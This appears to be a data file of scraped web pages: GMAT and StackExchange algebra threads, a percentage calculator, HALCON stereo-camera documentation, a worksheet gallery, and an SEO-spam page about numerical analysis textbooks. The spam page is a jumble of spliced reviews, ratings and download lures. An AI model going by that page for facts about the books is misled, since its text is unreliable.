on: May 27, 2020, 13:15:06 »\nI actually sorted it out an hour ago, was going to post here soon.\n\nMy model and view matrices were transposed.\nI didn't see it until I went through every transformation matrix.\n\nIt's properly working now. Thanks to all replies." ]
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https://senimesotyzitu.menards.club/introductory-numerical-analysis-book-25785hy.php
[ "Last edited by Jugor\nFriday, May 1, 2020 | History\n\n6 edition of Introductory numerical analysis found in the catalog.", null, "# Introductory numerical analysis\n\nWritten in English\n\nSubjects:\n• Numerical analysis\n\n• Edition Notes\n\nClassifications The Physical Object Statement Anthony J. Pettofrezzo. LC Classifications QA297 .P47 2006 Pagination p. cm. Open Library OL3431312M ISBN 10 0486450163 LC Control Number 2005056919\n\nThe book is full of tidbits of folklore that would interest someone who was already familiar with the content of an introductory numerical analysis text; their inclusion might frustrate novices, however. The author considers numerical analysis a separate discipline that belongs to neither mathematics nor computer science. This course analyzed the basic techniques for the efficient numerical solution of problems in science and engineering. Topics spanned root finding, interpolation, approximation of functions, integration, differential equations, direct and iterative methods in linear algebra. Numerical methods for solving linear systems of equations, linear least squares problems, matrix eigen value problems, nonlinear systems of equations, interpolation, quadrature, and initial value ordinary differential equations. Prerequisite: either a course in linear algebra or permission of instructor. Offered: jointly with MATH ; A.\n\nYou might also like\nEritrea Diplomatic Handbook\n\nEritrea Diplomatic Handbook\n\nDe-westernizing film studies\n\nDe-westernizing film studies\n\nTimber buildings.\n\nTimber buildings.\n\nSynaptic self\n\nSynaptic self\n\nThe devil of a wife\n\nThe devil of a wife\n\nContinuity Girl\n\nContinuity Girl\n\nmen in her life\n\nmen in her life\n\nInvestigations in erosion control and reclamation of eroded land at the Palouse Conservation Experiment Station, Pullman, Wash., 1931-42\n\nInvestigations in erosion control and reclamation of eroded land at the Palouse Conservation Experiment Station, Pullman, Wash., 1931-42\n\nThreat To U.S. Trade & Finance From Drug Trafficking & ..., Joint Hrgs... S. Hrg. 104-839... Comm. On Finance... U.S. Sen... 104th Cong., 2nd Sess., 07/23/96.\n\nThreat To U.S. Trade & Finance From Drug Trafficking & ..., Joint Hrgs... S. Hrg. 104-839... Comm. On Finance... U.S. Sen... 104th Cong., 2nd Sess., 07/23/96.\n\nStatistics and probability in modern life\n\nStatistics and probability in modern life\n\nEngineering technology for students of physics.\n\nEngineering technology for students of physics.\n\ndeath of Christ\n\ndeath of Christ\n\n### Introductory numerical analysis by Anthony J. Pettofrezzo Download PDF EPUB FB2\n\nIntroductory Methods of Numerical Analysis (pdf) by S.S. Sastry is one of the most popular books for Numerical Methods, adopted as a course book in many colleges and universities. Suitable particularly for engineering undergraduate students, this book gives a clear overview of various common topics in numerical analysis with references to MATLAB, IMSL, and Numerical Author: Codewithc.\n\nIntroductory Methods of Numerical Analysis As a student of mathematics I recommend this book to carry with you as an additional numerical analysis book. This book contains almost all higher study materials but it is insufficient to make your basic knowledge strong.\n\nWhat are the materials of this book can be seen in the images of index I have /5(96). : Introductory Numerical Analysis (Dover Books on Mathematics) (): Pettofrezzo, Anthony J.: BooksCited by: 7.\n\nIntroductory methods of numerical analysis by S S This text features the principles involved in numerical analysis. Its main theme is interpolation of the standpoint of finite differences, least squares theory, and harmonic analysis. Also covers the numerical solutions of ordinary differential equations and approximation through Fourier series.\n\nOver 70 examples and exercises. Includes 16 figures and 33 tables. edition. This thoroughly revised and updated text, now in its fifth edition, continues to provide a rigorous introduction to the fundamentals of numerical methods required in scientific and technological applications, emphasizing on teaching students numerical methods and in helping them to develop problem-solving skills.\n\nWhile the essential features of the previous editions such as 5/5(8). Theoretical Numerical Analysis: A Functional Analysis Framework, K. Atkinson, W. Han The first two are Dover books, so the price is great, the last two are lots of dough.\n\nI do not have the last one, but it looks worthwhile checking out. The aim of this book is to provide a simple and useful introduction for the fresh students into the vast field of numerical analysis.\n\nLike any other introductory course on numerical analysis, this book contains the basic theory, which in the present text refers to the following topics: linear.\n\nIn many Introductory Methods of Numerical Analysis by S.S. Sastry. 25 Jul Introductory Methods of Numerical Analysis (pdf) by S.S. Sastry is one of the most popular books for Numerical Methods, adopted as a course Introductory bookk on numerical analysis by kanv_garg.\n\nIntroductory Methods of Numerical Analysis by S.S. Sastry. The first book of its selection when crafted larger than 30 years prior to now to serve a numerous undergraduate viewers, Burden, Faires, and Burden’s NUMERICAL ANALYSIS stays the definitive introduction to an necessary and smart matter.\n\nIntroductory Methods of Numerical Analysis book. Read 2 reviews from the world's largest community for readers. The fifth edition of this book contains e /5. Introductory Methods of Numerical Analysis As a student of mathematics I recommend this book to carry with you as an additional numerical analysis book.\n\nThis book contains almost all higher study materials but it is insufficient to make your basic knowledge strong/5(97). Introductory Methods of Numerical Analysis. While the essential features of the previous editions such as References to MATLAB, IMSL, Numerical Recipes program libraries for implementing the numerical methods are retained, a chapter on Spline Functions has been added in this edition because of methodz increasing importance in applications.\n\nThese notes were prepared for use in teaching a one-year graduate level introductory course on numerical analysis at Penn State University.\n\nThe author taught the course during the { academic year (the rst o ering of the course), and then again during the { academic year. They were never put into nal form, and cannot be used without.\n\nThis textbook was born of a desire to contribute a viable, free, introductory Numerical Analysis textbook for instructors and students of mathematics.\n\nThe ultimate goal of Tea Time Numerical Analysis is to be a complete, one-semester, single-pdf, downloadable textbook designed for mathematics classes. Now includes differential equations.\n\nNo ratings. Theory and Applications of Numerical Analysis is a self-contained Second Edition, providing an introductory account of the main topics in numerical analysis. The book emphasizes both the theorems which show the underlying rigorous mathematics andthe algorithms which define precisely how to program the numerical methods/5(8).\n\nIntroductory Numerical Analysis Lecture Notes Sudipta Mallik September 9, Contents 4 Numerical Di erentiation and Integration26 Numerical Analysis Sudipta Mallik Note that oating point numbers are approximation of the exact numbers obtained by either.\n\nThe Paperback of the Introductory Numerical Analysis by Anthony J. Pettofrezzo at Barnes & Noble. FREE Shipping on \\$35 or more. Due to COVID, orders may be delayed. There must be a good introductory numerical analysis course out there. Ask Question Asked 8 years, Are there examples (links to course outlines or course webpages preferred) of introductory numerical analysis courses which avoid the above go to the library and take a look at this book: \"Numerical Analysis: A Mathematical Introduction.\n\nAbout The Book Introductory Methods Of Numerical Analysis Book Summary: This thoroughly revised and updated text, now in its fifth edition, continues to provide a rigorous introduction to the fundamentals of numerical methods required in scientific and technological applications, emphasizing on teaching students numerical methods and in helping Author: SASTRY, S.\n\nNumerical methods for solving linear systems of equations, linear least squares problems, matrix eigen value problems, nonlinear systems of equations, interpolation, quadrature, and initial value ordinary differential equations.\n\nFind books. Book in Numerical analysis. Ask Question Asked 7 years, 2 months ago. Active 7 years, 2 months ago. Viewed 8k times 4. 1 \\$\\begingroup\\$ What books are good an introductory course in Numerical analysis. Introductory Topology Book Recommendation for Economics.\n\nA textbook for numerical analysis (with solution manual) 0. is a platform for academics to share research papers. The aim of this book is to provide a simple and useful introduction for the fresh students into the vast field of numerical analysis.\n\nLike any other introductory course on numerical analysis, this book contains the basic theory, which in the present text refers to the following topics: linear equations, nonlinear equations, eigensystems.\n\nSolutions Manual to accompany An Introduction to Numerical Methods and Analysis: Edition 2 - Ebook written by James F. Epperson. Read this book using Google Play Books app on your PC, android, iOS devices. Download for offline reading, highlight, bookmark or take notes while you read Solutions Manual to accompany An Introduction to Numerical Methods and Analysis: 5/5(2).\n\nThe book is designed for use in a graduate program in Numerical Analysis that is structured so as to include a basic introductory course and subsequent more specialized courses.\n\nThe latter are envisaged to cover such topics as numerical linear algebra, the numerical solution of ordinary and partial differential equations. This book is based on a one-year introductory course on numerical analysis given by the authors at several universities in Germany and the United States.\n\nThe authors concentrate on methods which can be worked out on a digital computer. For. Introductory Methods Of Numerical Analysis Ss Sastry - Free download Ebook, Handbook, Textbook, User Guide PDF files on the internet quickly and easily.\n\nIntroductory Numerical Analysis. by Anthony J. Pettofrezzo. Dover Books on Mathematics. Share your thoughts Complete your review. Tell readers what you thought by rating and reviewing this book. Rate it * You Rated it *Brand: Dover Publications.\n\nAll books are in clear copy here, and all files are secure so don't worry about it. This site is like a library, you could find million book here by using search box in the header. INTRODUCTORY METHODS OF NUMERICAL ANALYSIS, S.\n\nSASTRY, PHI Learning Pvt. Ltd.,pages. Instructor's Solutions Manual (Download only) for Friendly Introduction to Numerical Analysis, A Download (application/pdf) (MB) Download (application/pdf) (MB)Availability: Live. Introductory Methods Of Numerical Analysis By S.s. Sastry - Free download Ebook, Handbook, Textbook, User Guide PDF files on the internet quickly and easily.\n\nCOVID Resources. Reliable information about the coronavirus (COVID) is available from the World Health Organization (current situation, international travel).Numerous and frequently-updated resource results are available from this ’s WebJunction has pulled together information and resources to assist library staff as they consider how to handle.\n\nIntroductory Method Of Numerical Analysis Manual Sastry by HASIBUL ISLAM SHAIKAT. Publication date Topics Numerical Analysis Collection opensource Language English.\n\nManual Book on Numerical Analysis. Addeddate Identifier ABBYY FineReader Ppi Scanner Internet Archive HTML5 Uploader. Introductory Methods of Numerical Analysis. Front Cover. Sastry. Prentice- Hall of India, – Numerical analysis – pages. Introductory bookk on numerical analysis by kanv_garg.\n\nIntroductory methods of numerical analysis by S.S. – Ebook download as. Perhaps the most distinctive feature of this book is the minimal amount of pseudocode which appears. This feature is in marked contrast to other introductory textbooks on numerical analysis, which tend to have a lot of pseudocode, and usually some Maple and/or MATLAB code fragments, too.\n\nUnfortunately, it has been my experience that most 4/5(52). 'This is an excellent book for introducing undergraduates to the fascinating discipline of numerical analysis.\n\nIt is the result of many years of lectures held by the authors at the University of Oxford, a fact that explains the evident ability of the book of addressing questions frequently asked by Cited by: Get this from a library. Introductory computer methods and numerical analysis.\n\n[Ralph H Pennington] -- Intended for students at the sophomore or junior level. Integral calculus, a. Theory and Applications of Numerical Analysis is a self-contained Second Edition, providing an introductory account of the main topics in numerical analysis. The book emphasizes both the theorems which show the underlying rigorous mathematics andthe algorithms which define precisely how to program the numerical methods.\n\nGreat discount for academic books from amazon, Get two free audiobooks from amazon.The book continues to be accessible and expertly guides readers through the many available techniques of numerical methods and analysis.\n\nAn Introduction to Numerical Methods and Analysis, Second Edition reflects the latest trends in the field, includes new material and revised exercises, and offers a unique emphasis on applications.PowerPoint Slides (Download only) for Introductory Mathematical Analysis for Business, Economics, and the Life and Social SciencesAvailability: Live." ]
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https://gmatclub.com/forum/if-x-2-9-x-2-31-what-is-the-value-of-x-3-x-211016.html
[ "GMAT Question of the Day - Daily to your Mailbox; hard ones only\n\n It is currently 19 Oct 2019, 23:15", null, "GMAT Club Daily Prep\n\nThank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email.\n\nCustomized\nfor You\n\nwe will pick new questions that match your level based on your Timer History\n\nTrack\n\nevery week, we’ll send you an estimated GMAT score based on your performance\n\nPractice\nPays\n\nwe will pick new questions that match your level based on your Timer History\n\nNot interested in getting valuable practice questions and articles delivered to your email? No problem, unsubscribe here.", null, "", null, "If x^2 + 9/x^2 = 31, what is the value of x - 3/x?\n\n new topic post reply Question banks Downloads My Bookmarks Reviews Important topics\nAuthor Message\nTAGS:\n\nHide Tags\n\nIntern", null, "", null, "Joined: 26 Dec 2015\nPosts: 3\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\n2\n1\n23", null, "00:00\n\nDifficulty:", null, "", null, "", null, "55% (hard)\n\nQuestion Stats:", null, "63% (01:42) correct", null, "38% (02:17) wrong", null, "based on 272 sessions\n\nHideShow timer Statistics\n\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nOriginally posted by maxx1234 on 28 Dec 2015, 00:53.\nLast edited by Bunuel on 03 Oct 2017, 05:15, edited 2 times in total.\nCurrent Student", null, "B\nJoined: 20 Jan 2015\nPosts: 47\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\n2\noption D.\n\nTo find : x-3/x. Let it be t.\n=> x-3/x = t\n=> (x^2 + 9/x^2) - 2*x*3/x = t^2 (Squaring both sides).\n=> (31) - 2*3 = 25\n=> t^2 = 25. Thus t=5 or t=-5.\n\n=> option D.\n_________________\nPlease take a moment to hit Kudos if you like my post", null, "Intern", null, "", null, "Joined: 26 Dec 2015\nPosts: 3\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nDont get this part\n\n- 2*x*3/x\nCurrent Student", null, "B\nJoined: 20 Jan 2015\nPosts: 47\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nmaxx1234 wrote:\nDont get this part\n\n- 2*x*3/x\n\nHave just used the formula (a-b)^2 = a^2 + b^2 - 2*a*b.\nHere a is x and b is 3/x.\n\nConsider Kudos if this helps.", null, "_________________\nPlease take a moment to hit Kudos if you like my post", null, "Senior Manager", null, "", null, "Joined: 31 Mar 2016\nPosts: 375\nLocation: India\nConcentration: Operations, Finance\nGMAT 1: 670 Q48 V34", null, "GPA: 3.8\nWE: Operations (Commercial Banking)\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nritikk13 wrote:\nmaxx1234 wrote:\nDont get this part\n\n- 2*x*3/x\n\nHave just used the formula (a-b)^2 = a^2 + b^2 - 2*a*b.\nHere a is x and b is 3/x.\n\nConsider Kudos if this helps.", null, "Hi ritikk,\n\nif x-3/x is squared then resultant equation after substitution will be 31 - (6/x). How do you arrive at 5 from this when x is still present?\nMath Expert", null, "V\nJoined: 02 Sep 2009\nPosts: 58445\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\n2\nSenthil7 wrote:\nritikk13 wrote:\nmaxx1234 wrote:\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x\n\nA 36\nB 25\nC 9\nD 5\nE 3\n\nDont get this part\n\n- 2*x*3/x\n\nHave just used the formula (a-b)^2 = a^2 + b^2 - 2*a*b.\nHere a is x and b is 3/x.\n\nConsider Kudos if this helps.", null, "Hi ritikk,\n\nif x-3/x is squared then resultant equation after substitution will be 31 - (6/x). How do you arrive at 5 from this when x is still present?\n\n$$(x-\\frac{3}{x})^2=x^2-2*x*\\frac{3}{x}+(\\frac{3}{x})^2=x^2-6+\\frac{9}{x^2}$$\n\nSince $$x^2 + \\frac{9}{x^2} = 31$$, then $$(x-\\frac{3}{x})^2=x^2-6+\\frac{9}{x^2}=31-6=25$$.\n\nFinally, $$(x-\\frac{3}{x})^2=25$$ --> $$x-\\frac{3}{x}=5$$ or -5.\n\n_________________\nManager", null, "", null, "B\nJoined: 20 Apr 2014\nPosts: 86\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nvery nice question but needs smart eyes to catch the idea.\nAre there any alternate approach ?\nSenior Manager", null, "", null, "Joined: 31 Mar 2016\nPosts: 375\nLocation: India\nConcentration: Operations, Finance\nGMAT 1: 670 Q48 V34", null, "GPA: 3.8\nWE: Operations (Commercial Banking)\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nBunuel thanks a lot. The misunderstanding is due to the font type not sure if it was x-3 the whole term by x or just x minus 3/x. That issue with members posting can solve the issue i think any way out or any suggestion like you have typed now appropriately? Bunuel\nMath Expert", null, "V\nJoined: 02 Sep 2009\nPosts: 58445\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nSenthil7 wrote:\nBunuel thanks a lot. The misunderstanding is due to the font type not sure if it was x-3 the whole term by x or just x minus 3/x. That issue with members posting can solve the issue i think any way out or any suggestion like you have typed now appropriately? Bunuel\n\nMathematically x - 3/x can only mean x minus 3/x. If it were x-3 over x it would e written as (x - 3)/x.\n_________________\nTarget Test Prep Representative", null, "D\nStatus: Founder & CEO\nAffiliations: Target Test Prep\nJoined: 14 Oct 2015\nPosts: 8109\nLocation: United States (CA)\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\n1\n1\nmaxx1234 wrote:\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nLet’s square x - 3/x first:\n\n(x - 3/x)^2 = x^2 - 6 + 9/x^2\n\nSince x^2 + 9/x^2 = 31, we have x^2 - 6 + 9/x^2 = 31 - 6 = 25.\n\nSo, (x - 3/x)^2 = 25 and:\n\nx - 3/x = ±5\n\nWe see that only 5 is among the answer choices.\n\n_________________\n\nScott Woodbury-Stewart\n\nFounder and CEO\n\[email protected]\n\nSee why Target Test Prep is the top rated GMAT quant course on GMAT Club. Read Our Reviews\n\nIf you find one of my posts helpful, please take a moment to click on the \"Kudos\" button.\n\nVP", null, "", null, "D\nJoined: 09 Mar 2016\nPosts: 1230\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nScottTargetTestPrep wrote:\nmaxx1234 wrote:\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nLet’s square x - 3/x first:\n\n(x - 3/x)^2 = x^2 - 6 + 9/x^2\n\nSince x^2 + 9/x^2 = 31, we have x^2 - 6 + 9/x^2 = 31 - 6 = 25.\n\nSo, (x - 3/x)^2 = 25 and:\n\nx - 3/x = ±5\nWe see that only 5 is among the answer choices.\n\nHey pushpitkc,\n\ncan you shed some light on the solution above ..i dont get the steps (highlighted) after this \"Since x^2 + 9/x^2 = 31\"\n\nmany thanks", null, "Senior Manager", null, "", null, "G\nJoined: 29 Dec 2017\nPosts: 378\nLocation: United States\nConcentration: Marketing, Technology\nGMAT 1: 630 Q44 V33", null, "GMAT 2: 690 Q47 V37", null, "GMAT 3: 710 Q50 V37", null, "GPA: 3.25\nWE: Marketing (Telecommunications)\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\n1\ndave13\n\nYou can convert any a^2+b^2 to a^2+b^2-2ab+2ab=(a-b)^2+2ab\nx^4 + 9/x^2 = x^4 + 9/x^2 - 2*(x^2 *3/x^2) + 2*(x^2 *3/x^2)\nSenior PS Moderator", null, "V\nJoined: 26 Feb 2016\nPosts: 3335\nLocation: India\nGPA: 3.12\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\n1\ndave13 wrote:\nScottTargetTestPrep wrote:\nmaxx1234 wrote:\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nLet’s square x - 3/x first:\n\n(x - 3/x)^2 = x^2 - 6 + 9/x^2\n\nSince x^2 + 9/x^2 = 31, we have x^2 - 6 + 9/x^2 = 31 - 6 = 25.\n\nSo, (x - 3/x)^2 = 25 and:\n\nx - 3/x = ±5\nWe see that only 5 is among the answer choices.\n\nHey pushpitkc,\n\ncan you shed some light on the solution above ..i dont get the steps (highlighted) after this \"Since x^2 + 9/x^2 = 31\"\n\nmany thanks", null, "Hey dave13\n\nWe are given $$x^2 + \\frac{9}{x^2} = 31$$ in the queston stem -> Lets call this equation (1)\n\nOnce, we have squared the equation, $$(x - \\frac{3}{x})^2$$ to get $$x^2 - 6 + \\frac{9}{x^2}$$\n\nAfter re-arranging $$(x - \\frac{3}{x})^2 = x^2 + \\frac{9}{x^2} - 6 = 31 - 6 = 25$$ [from equation (1)]\n\nNow, $$(x - \\frac{3}{x})^2 = 25$$ -> $$(x - \\frac{3}{x}) = \\sqrt{25} = +5$$ or $$-5$$\n\nTherefore, the answer option which matches the value of $$(x - \\frac{3}{x})$$ is 5(Option D)\n\nHope this helps you\n_________________\nYou've got what it takes, but it will take everything you've got\nManager", null, "", null, "B\nJoined: 17 Jul 2016\nPosts: 54\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nOne could try and substitute values.\n\nif x=1 the expression (x^2+9/x^2) = 10\nif x=2, 4+(9/4)=6.25\nif x=3, 10\nif x=4, 16&9/16\nif x=5, 25&9/25\nif x=6 36&1/4\n\nWe want the expression to =31 so x=5.5 is a good estimate.\n\nx-3/x=\n\n5.5-(3/5.5)=\n\n5.5 - (little more than .5)=close to 5\nSenior Manager", null, "", null, "G\nJoined: 04 Aug 2010\nPosts: 477\nSchools: Dartmouth College\nRe: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?  [#permalink]\n\nShow Tags\n\nmaxx1234 wrote:\nIf $$x^2 + \\frac{9}{x^2} = 31$$, what is the value of $$x - \\frac{3}{x}$$?\n\nA. 36\nB. 25\nC. 9\nD. 5\nE. 3\n\nLet $$a$$ = the correct answer.\n\n$$x - \\frac{3}{x}=a$$\n\nSince $$(m-n)^2 = m^2 + n^2 - 2mn$$, squaring both sides yields the following:\n$$(x - \\frac{3}{x})^2=a^2$$\n\n$$x^2 - \\frac{9}{x^2} - 2(x)(\\frac{3}{x})=a^2$$\n\n$$x^2 - \\frac{9}{x^2} - 6=a^2$$\n\nSubstituting $$x^2 + \\frac{9}{x^2} = 31$$ into the resulting blue equation, we get:\n$$31 - 6=a^2$$\n\n$$25 = a^2$$\n\n±$$5=a$$\n\n_________________\nGMAT and GRE Tutor\nOver 1800 followers\[email protected]\nNew York, NY\nIf you find one of my posts helpful, please take a moment to click on the \"Kudos\" icon.\nAvailable for tutoring in NYC and long-distance.", null, "Re: If x^2 + 9/x^2 = 31, what is the value of x - 3/x?   [#permalink] 22 Mar 2019, 10:42\nDisplay posts from previous: Sort by\n\nIf x^2 + 9/x^2 = 31, what is the value of x - 3/x?\n\n new topic post reply Question banks Downloads My Bookmarks Reviews Important topics\n\n Powered by phpBB © phpBB Group | Emoji artwork provided by EmojiOne", null, "", null, "" ]
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http://mywcct.com/factoring-polynomials-worksheet-algebra-2/
[ "", null, "Printables\n\n# Factoring Polynomials Worksheet Algebra 2\n\nAlgebra 2 worksheets polynomial functions factoring by grouping worksheets. This is an extra practice worksheet for algebra 2 or precalculus students factoring higher order polynomials completely over the s. Algebra ii or precalculus practice worksheet for factoring higher order polynomials over the set of. Printables factoring polynomials worksheet safarmediapps algebra 2 form fill online printable worksheets. Factoring polynomials worksheet with answers versaldobip davezan algebra 2.", null, "## Algebra 2 worksheets polynomial functions factoring by grouping worksheets", null, "## This is an extra practice worksheet for algebra 2 or precalculus students factoring higher order polynomials completely over the s", null, "## Algebra ii or precalculus practice worksheet for factoring higher order polynomials over the set of", null, "## Printables factoring polynomials worksheet safarmediapps algebra 2 form fill online printable worksheets", null, "## Factoring polynomials worksheet with answers versaldobip davezan algebra 2", null, "## Factoring polynomials worksheet with answers versaldobip puzzle trinomials denise gaskins 39 let s play math polynomial worksheets", null, "## Printables factoring polynomials worksheet with answers algebra 2 trinomials worksheets intrepidpath a 1", null, "## Factoring polynomials worksheet with answers versaldobip algebra 2 worksheets polynomial functions davezan", null, "## Algebra 2 factoring worksheet 1 html math 2010 1", null, "## Factoring by grouping worksheet with key 2 pages algebraic translations and transformation functions key", null, "## Factoring polynomials worksheet with answers versaldobip davezan", null, "## Factoring homework 11 x 2 pages worksheet", null, "## Printables factoring polynomials worksheet safarmediapps polynomial worksheets binomials", null, "## Worksheet factoring polynomials with answers algebra 2 trinomials worksheets intrepidpath a 1 kuta math walled", null, "## I use this in my algebra 2 class to help student get practice on factoring trinomials", null, "## Factoring problems and answers free worksheet ideas math plane algebra ii review 1", null, "## Algebra 2 aii 1 factoring polynomials worksheet templates and with answers 1000", null, "## 1000 images about mathfactoring on pinterest equation student and simplifying radicals", null, "## Factoring polynomials worksheet algebra 2 plustheapp polynomial practice in addition practice", null, "## Factoring polynomials worksheet with answers versaldobip problems polynomials", null, "## Factoring polynomials worksheet answer key davezan with answers algebra 2 free best", null, "## Fillable online algebra 2 aii1 factoring polynomials worksheet mrs fill online", null, "## Factoring by grouping polynomials worksheets math aids com worksheets", null, "## Printables factoring worksheet algebra 2 safarmediapps homework packet chapter 6 part name 4 day 1", null, "## Algebra 2 factoring worksheet assignment worksheets for kids teachers free printables", null, "## Algebra 2 aii 1 factoring polynomials worksheet templates and practice answers", null, "Related Posts\n\n### The Mcgraw-hill Companies Worksheet Answers", null, "" ]
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https://www.percentagecal.com/answer/what-is-1-percent-of-2080
[ "#### Solution for What is 1 percent of 2080:\n\n1 percent *2080 =\n\n(1:100)*2080 =\n\n(1*2080):100 =\n\n2080:100 = 20.8\n\nNow we have: 1 percent of 2080 = 20.8\n\nQuestion: What is 1 percent of 2080?\n\nPercentage solution with steps:\n\nStep 1: Our output value is 2080.\n\nStep 2: We represent the unknown value with {x}.\n\nStep 3: From step 1 above,{2080}={100\\%}.\n\nStep 4: Similarly, {x}={1\\%}.\n\nStep 5: This results in a pair of simple equations:\n\n{2080}={100\\%}(1).\n\n{x}={1\\%}(2).\n\nStep 6: By dividing equation 1 by equation 2 and noting that both the RHS (right hand side) of both\nequations have the same unit (%); we have\n\n\\frac{2080}{x}=\\frac{100\\%}{1\\%}\n\nStep 7: Again, the reciprocal of both sides gives\n\n\\frac{x}{2080}=\\frac{1}{100}\n\n\\Rightarrow{x} = {20.8}\n\nTherefore, {1\\%} of {2080} is {20.8}\n\n#### Solution for What is 2080 percent of 1:\n\n2080 percent *1 =\n\n(2080:100)*1 =\n\n(2080*1):100 =\n\n2080:100 = 20.8\n\nNow we have: 2080 percent of 1 = 20.8\n\nQuestion: What is 2080 percent of 1?\n\nPercentage solution with steps:\n\nStep 1: Our output value is 1.\n\nStep 2: We represent the unknown value with {x}.\n\nStep 3: From step 1 above,{1}={100\\%}.\n\nStep 4: Similarly, {x}={2080\\%}.\n\nStep 5: This results in a pair of simple equations:\n\n{1}={100\\%}(1).\n\n{x}={2080\\%}(2).\n\nStep 6: By dividing equation 1 by equation 2 and noting that both the RHS (right hand side) of both\nequations have the same unit (%); we have\n\n\\frac{1}{x}=\\frac{100\\%}{2080\\%}\n\nStep 7: Again, the reciprocal of both sides gives\n\n\\frac{x}{1}=\\frac{2080}{100}\n\n\\Rightarrow{x} = {20.8}\n\nTherefore, {2080\\%} of {1} is {20.8}\n\nCalculation Samples" ]
[ null ]
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https://www.mvtec.com/doc/halcon/12/en/disparity_to_distance.html
[ "Operators\n\n# disparity_to_distance (Operator)\n\n## Name\n\ndisparity_to_distance — Transform a disparity value into a distance value in a rectified binocular stereo system.\n\n## Signature\n\ndisparity_to_distance( : : CamParamRect1, CamParamRect2, RelPoseRect, Disparity : Distance)\n\n## Description\n\ndisparity_to_distance transforms a disparity value into a distance of an object point to the binocular stereo system. The cameras of this system must be rectified and are defined by the rectified internal parameters CamParamRect1 of camera 1 and CamParamRect2 of camera 2, and the external parameters RelPoseRect. Latter specifies the relative pose of both cameras to each other by defining a point transformation from rectified camera system 2 to rectified camera system 1. These parameters can be obtained from the operator calibrate_cameras and gen_binocular_rectification_map. The disparity value Disparity is defined by the column difference of the image coordinates of two corresponding points on an epipolar line according to the equation (see also binocular_disparity). This value characterises a set of 3D object points of an equal distance to a plane being parallel to the rectified image plane of the stereo system. The distance to the subset plane z=0 which is parallel to the rectified image plane and contains the optical centers of both cameras is returned in Distance.\n\n## Attention\n\nIf using cameras with telecentric lenses, the Distance is not defined as the distance of a point to the camera but as the distance from the point to the plane, defined by the y-axes of both cameras and their baseline (see gen_binocular_rectification_map).\n\n## Parallelization\n\n• Multithreading type: reentrant (runs in parallel with non-exclusive operators).\n• Processed without parallelization.\n\n## Parameters\n\nCamParamRect1 (input_control)  number-array (real / integer)\n\nRectified internal camera parameters of the projective camera 1.\n\nNumber of elements: CamParamRect1 == 8 || CamParamRect1 == 12\n\nCamParamRect2 (input_control)  number-array (real / integer)\n\nRectified internal camera parameters of the projective camera 2.\n\nNumber of elements: CamParamRect2 == 8 || CamParamRect2 == 12\n\nRelPoseRect (input_control)  pose (real / integer)\n\nPoint transformation from the rectified camera 2 to the rectified camera 1.\n\nNumber of elements: 7\n\nDisparity (input_control)  number(-array) (real / integer)\n\nDisparity between the images of the world point.\n\nDistance (output_control)  real(-array) (real)\n\nDistance of a world point to the rectified camera system.\n\n## Result\n\ndisparity_to_distance returns 2 (H_MSG_TRUE) if all parameter values are correct. If necessary, an exception is raised." ]
[ null ]
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https://math.stackexchange.com/questions/2184262/finding-diagonal-matrices-with-complex-entries
[ "# Finding diagonal matrices with complex entries\n\nFind all diagonal 3 x 3 matrices A with complex entries such that $A^2$=$$\\begin{bmatrix} 0 & 0 & 0 \\\\ 0 & 2 & 0 \\\\ 0 & 0 & -1 \\\\ \\end{bmatrix}$$\n\nCan anyone please help me how to start this? I'm not sure how I should approach this question. Any help would be greatly appreciated!\n\n• A $3\\times 3$ diagonal matrix has the form $$A=\\begin{bmatrix} a & 0 & 0\\\\ 0 & b & 0\\\\ 0 & 0 &c\\end{bmatrix}$$ for some $a,b,c\\in\\mathbb{C}$. Now what must $A^2$ look like? – Zack Cramer Mar 13 '17 at 4:09\n• does that mean that$$A^2=\\begin{bmatrix} a^2 & 0 & 0 \\\\ 0 & b^2 & 0 \\\\ 0 & 0 & c^2 \\\\ \\end{bmatrix}$$? so does complex entries mean that entries should be in the a+bi form??? – user425030 Mar 13 '17 at 4:14\n• Yes, each entry has that form. Now compare this to the matrix $$\\begin{bmatrix} 0 & 0 & 0\\\\ 0 & 2 & 0\\\\ 0 & 0 & -1\\end{bmatrix}.$$ – Zack Cramer Mar 13 '17 at 4:24\n• So I can do, something like (a+bi)^2 = 2 and same with -1? – user425030 Mar 13 '17 at 4:28\n• Yup! That should do it. – Zack Cramer Mar 13 '17 at 